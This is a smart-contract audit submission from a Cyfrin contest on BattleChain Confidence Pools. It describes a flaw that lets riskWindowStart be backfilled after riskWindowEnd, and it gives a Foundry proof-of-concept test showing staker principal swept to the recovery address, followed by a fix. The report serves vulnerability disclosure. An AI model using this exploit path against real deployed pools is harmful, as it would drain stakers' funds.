BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: medium
Likelihood: medium

riskWindowStart can be backfilled after riskWindowEnd, causing no-risk-window pools to auto-CORRUPT and sweep staker principal

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: riskWindowStart should only be set before or during the observed risk window. Once riskWindowEnd has been sealed from a terminal state, the pool should not later backfill a new active-risk start after that terminal end.

  • I analyzed _observePoolState() and observed that it marks riskWindowStart and riskWindowEnd independently. If the pool first observes terminal CORRUPTED, riskWindowEnd is sealed while riskWindowStart remains zero. Later, after a registry replacement / stale migration / rewind reports UNDER_ATTACK, _observePoolState() can set riskWindowStart after the already-sealed riskWindowEnd.

// src/ConfidencePool.sol
​
function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
​
...
​
@> if (riskWindowStart == 0 && _isActiveRiskState(state)) {
@> _markRiskWindowStart();
}
​
@> if (riskWindowEnd == 0 && _isTerminalState(state)) {
@> _markRiskWindowEnd();
}
}

There is no guard enforcing:

riskWindowStart == 0 || riskWindowStart <= riskWindowEnd

This breaks the no-risk-window corrupted fallback. A pool that should fall through to EXPIRED because no active-risk window was observed can later be forced into the bad-faith CORRUPTED auto-resolution path because riskWindowStart was backfilled after terminal observation.

Risk

Likelihood:

  • This occurs when a terminal state such as CORRUPTED is observed first, and a later registry replacement / stale migration / rewind reports an active-risk state such as UNDER_ATTACK.

  • The codebase already treats registry replacement/rewind as a relevant integration risk. This issue is another missing one-way lifecycle invariant around riskWindowStart and riskWindowEnd.

Impact:

  • A no-risk-window corrupted case that should resolve as EXPIRED can instead auto-resolve as bad-faith CORRUPTED after the moderator grace period.

  • Existing staker principal and bonus can be swept to recoveryAddress even though the active-risk window was only observed after terminal finality.

Proof of Concept

Create this file:

cat > test/unit/RiskStartAfterTerminalAutoCorruptPoC.t.sol <<'EOF'
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {MockAttackRegistry} from "test/mocks/MockAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
​
contract RiskStartAfterTerminalAutoCorruptPoC is BaseConfidencePoolTest {
function testControl_NoRiskWindowCorruptedFallsThroughToExpired() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
​
// Registry reaches CORRUPTED without any observed active-risk state.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
pool.pokeRiskWindow();
​
assertEq(pool.riskWindowStart(), 0, "no active-risk window observed");
assertGt(pool.riskWindowEnd(), 0, "terminal end was observed");
​
vm.warp(pool.expiry());
​
uint256 aliceBefore = token.balanceOf(alice);
​
vm.prank(alice);
pool.claimExpired();
​
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(token.balanceOf(alice) - aliceBefore, 100 * ONE, "principal returned");
assertEq(token.balanceOf(address(pool)), 50 * ONE, "bonus remains unclaimed");
}
​
function testPoC_StartBackfilledAfterEndCausesAutoCorruptedSweep() external {
_stake(alice, 100 * ONE);
_contributeBonus(carol, 50 * ONE);
​
// Step 1: terminal CORRUPTED is observed first.
// This seals riskWindowEnd while riskWindowStart remains zero.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
pool.pokeRiskWindow();
​
uint256 sealedEnd = pool.riskWindowEnd();
​
assertEq(pool.riskWindowStart(), 0, "no active-risk start yet");
assertGt(sealedEnd, 0, "terminal end sealed");
​
// Step 2: simulate registry replacement / stale migration / rewind.
// The new registry reports UNDER_ATTACK after terminal end was already sealed.
MockAttackRegistry rewoundRegistry = new MockAttackRegistry();
rewoundRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
safeHarborRegistry.setAttackRegistry(address(rewoundRegistry));
​
vm.warp(sealedEnd + 1 days);
​
// BUG: _observePoolState() now backfills riskWindowStart after riskWindowEnd.
pool.pokeRiskWindow();
​
assertGt(pool.riskWindowStart(), sealedEnd, "start was set after terminal end");
assertEq(pool.riskWindowEnd(), sealedEnd, "end remains pinned");
​
// Step 3: same registry later reports CORRUPTED.
rewoundRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
​
vm.warp(pool.expiry() + pool.MODERATOR_CORRUPTED_GRACE());
​
// Because riskWindowStart != 0, claimExpired() now takes the auto-CORRUPTED branch.
vm.prank(dave);
pool.claimExpired();
​
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.CORRUPTED));
assertEq(pool.corruptedReserve(), 150 * ONE);
​
uint256 recoveryBefore = token.balanceOf(recovery);
​
pool.claimCorrupted();
​
assertEq(token.balanceOf(recovery) - recoveryBefore, 150 * ONE);
assertEq(token.balanceOf(alice), 0, "alice never recovered principal");
assertEq(token.balanceOf(address(pool)), 0);
}
}
EOF

Run:

forge test --match-path test/unit/RiskStartAfterTerminalAutoCorruptPoC.t.sol -vvv

Observed output:

Ran 2 tests for test/unit/RiskStartAfterTerminalAutoCorruptPoC.t.sol:RiskStartAfterTerminalAutoCorruptPoC
[PASS] testControl_NoRiskWindowCorruptedFallsThroughToExpired() (gas: 498591)
[PASS] testPoC_StartBackfilledAfterEndCausesAutoCorruptedSweep() (gas: 673496)
Suite result: ok. 2 passed; 0 failed; 0 skipped

The control test shows the intended no-risk-window behavior: terminal CORRUPTED without an observed active-risk window falls through to EXPIRED, returning Alice's principal.

The exploit test shows that after riskWindowEnd is sealed first, a later stale UNDER_ATTACK observation can set riskWindowStart > riskWindowEnd. This changes the later expiry path into bad-faith CORRUPTED, sweeping Alice's principal and the bonus to recoveryAddress.

Recommended Mitigation

Prevent riskWindowStart from being set after riskWindowEnd has already been sealed.

function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
​
...
​
- if (riskWindowStart == 0 && _isActiveRiskState(state)) {
+ if (riskWindowStart == 0 && riskWindowEnd == 0 && _isActiveRiskState(state)) {
_markRiskWindowStart();
}
​
if (riskWindowEnd == 0 && _isTerminalState(state)) {
_markRiskWindowEnd();
}
}

As defense in depth, also validate the ordering before auto-CORRUPTED expiry resolution:

- if (state == IAttackRegistry.ContractState.CORRUPTED && riskWindowStart != 0) {
+ if (
+ state == IAttackRegistry.ContractState.CORRUPTED
+ && riskWindowStart != 0
+ && riskWindowEnd != 0
+ && riskWindowStart <= riskWindowEnd
+ ) {
...
}

This preserves the intended no-risk-window fallback and prevents stale active-risk observations from being backfilled after terminal finality.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!